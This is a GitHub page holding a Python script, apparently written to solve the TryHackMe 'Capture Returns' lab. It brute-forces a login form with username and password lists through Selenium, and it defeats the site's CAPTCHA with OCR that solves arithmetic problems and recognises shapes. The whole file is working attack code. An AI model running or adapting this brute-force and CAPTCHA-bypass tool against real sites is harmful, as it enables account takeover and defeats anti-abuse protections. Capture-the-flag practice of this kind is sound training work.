-
Notifications
You must be signed in to change notification settings - Fork 18
Expand file tree
/
Copy pathCaptureReturns-recaptcha.py
More file actions
183 lines (159 loc) · 7.5 KB
/
CaptureReturns-recaptcha.py
File metadata and controls
183 lines (159 loc) · 7.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
# script to solve room Capture Returns from tryhackme
# https://tryhackme.com/r/room/capturereturns
# script with assistance of ChatGPT
# need to update machine IP and user.txt and pass.txt files below
import time
import base64
from PIL import Image, ImageEnhance, ImageFilter
import pytesseract
from io import BytesIO
import re
import cv2
import numpy as np
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import NoSuchElementException, TimeoutException
def read_file(file_path):
""" Reads a file and returns a list of lines. """
with open(file_path, 'r') as file:
return [line.strip() for line in file]
def solve_captcha(captcha_src):
try:
base64_image = captcha_src.split(',')[1]
image_bytes = base64.b64decode(base64_image)
img = Image.open(BytesIO(image_bytes))
img = img.convert('L') # Convert to grayscale
# Applying Gaussian Blur
img = img.filter(ImageFilter.GaussianBlur(radius=1))
# Enhance image contrast
enhancer = ImageEnhance.Contrast(img)
img = enhancer.enhance(2)
# Binarization using adaptive threshold
np_img = np.array(img)
np_img = cv2.adaptiveThreshold(np_img, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,
cv2.THRESH_BINARY, 11, 2)
# Convert numpy array back to PIL Image for OCR
img = Image.fromarray(np_img)
# Setting Tesseract to recognize numbers only
custom_config = r'--oem 3 --psm 6 outputbase digits'
#text = pytesseract.image_to_string(img, config=custom_config)
text = pytesseract.image_to_string(img, config='--psm 6')
print(f"OCR extracted text: {text}")
#time.sleep(3) # Pause here to see the OCR output
match = re.search(r'(\d+)\s*([\+\-\*/])\s*(\d+)', text)
if match:
num1, operator, num2 = int(match.group(1)), match.group(2), int(match.group(3))
result = {
'+': num1 + num2,
'-': num1 - num2,
'*': num1 * num2,
'/': num1 / num2 if num2 != 0 else 'undefined'
}[operator]
return str(result)
# match = re.search(r'(\d+)\s*([\+\-\*/])\s*(\d+)', text)
# if match:
# num1, operator, num2 = int(match.group(1)), match.group(2), int(match.group(3))
# result = eval(f"{num1}{operator}{num2}")
# return str(result)
# If no numbers, try shape detection
# Convert PIL Image to an OpenCV format
img_cv = np.array(img)
img_cv = cv2.threshold(img_cv, 127, 255, cv2.THRESH_BINARY_INV)[1] # Threshold to binary
# Detect contours
contours, _ = cv2.findContours(img_cv, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
for cnt in contours:
approx = cv2.approxPolyDP(cnt, 0.01 * cv2.arcLength(cnt, True), True)
if len(approx) == 3:
return "triangle"
elif len(approx) == 4:
rect = cv2.boundingRect(approx)
ar = rect[2] / rect[3]
return "square" if 0.95 < ar < 1.05 else "Rectangle"
elif len(approx) > 4:
return "circle"
return "Unidentified"
except Exception as e:
print(f"Failed to solve CAPTCHA: {e}")
return None
def attempt_login(username, password, driver):
""" Attempts to log in and solve CAPTCHA if required. """
driver.get("http://10.10.156.0/login")
try:
login_attempted = False
while not login_attempted:
if is_login_form_present(driver):
print(f"Trying to login with username: {username} and password: {password}")
login(username, password, driver)
login_attempted = True # Set to True after attempting login
elif is_captcha_present(driver):
print("CAPTCHA found, solving...")
solve_and_submit_captcha(driver)
else:
print("Neither login form nor CAPTCHA present, checking page status...")
break # This might indicate a successful login or an unexpected page state.
# Additional check to break loop if we are not on the login or CAPTCHA page
if "Logged in successfully" in driver.page_source:
print(f"Login successful with username: {username} and password: {password}")
break
time.sleep(1) # Slight delay to allow for page updates
except Exception as e:
print(f"An unexpected error occurred: {e}")
def is_login_form_present(driver):
""" Check if the login form is present. """
try:
return driver.find_element(By.NAME, "username").is_displayed()
except NoSuchElementException:
return False
def is_captcha_present(driver):
""" Check if a CAPTCHA is present. """
try:
return driver.find_element(By.TAG_NAME, "img").get_attribute('src').startswith('data:image/png;base64,')
except NoSuchElementException:
return False
def login(username, password, driver):
""" Input credentials and submit the login form. """
driver.find_element(By.NAME, "username").clear()
driver.find_element(By.NAME, "username").send_keys(username)
driver.find_element(By.NAME, "password").clear()
driver.find_element(By.NAME, "password").send_keys(password)
driver.find_element(By.CSS_SELECTOR, "button.login_button").click()
# Printing all text on the page after attempting to log in
#time.sleep(5) # Wait a bit for the page to load fully, adjust as necessary
body_text = driver.find_element(By.TAG_NAME, 'body').text
print("Page text after login attempt:\n", body_text)
# Add a delay to wait for page to load or for redirection
#time.sleep(5) # Adjust timing based on expected delay
# Here you would check if login is successful
# Check if the login failed message is displayed
if "Detected 3 incorrect login attempts!" in driver.page_source:
print(f"Login attempt with username: {username} and password: {password} triggered CAPTCHA.")
else:
print(f"Login successful with username: {username} and password: {password}")
def solve_and_submit_captcha(driver):
""" Solve CAPTCHA and submit the solution, clearing previous input first. """
captcha_src = driver.find_element(By.TAG_NAME, "img").get_attribute('src')
captcha_solution = solve_captcha(captcha_src)
captcha_field = driver.find_element(By.NAME, "captcha")
captcha_field.clear() # Clear the field before entering a new solution
if captcha_solution:
captcha_field.send_keys(captcha_solution)
driver.find_element(By.CSS_SELECTOR, "button.login_button").click()
def main():
driver = webdriver.Chrome()
usernames = read_file('user.txt')
passwords = read_file('pass.txt')
for username in usernames:
for password in passwords:
attempt_login(username, password, driver)
if "Logged in successfully" in driver.page_source:
print(f"Successfully logged in with {username} and {password}")
break # Break the inner loop if login is successful
else:
continue # Only executed if the inner loop did NOT break
break # Break the outer loop if the inner loop was broken
driver.quit()
if __name__ == "__main__":
main()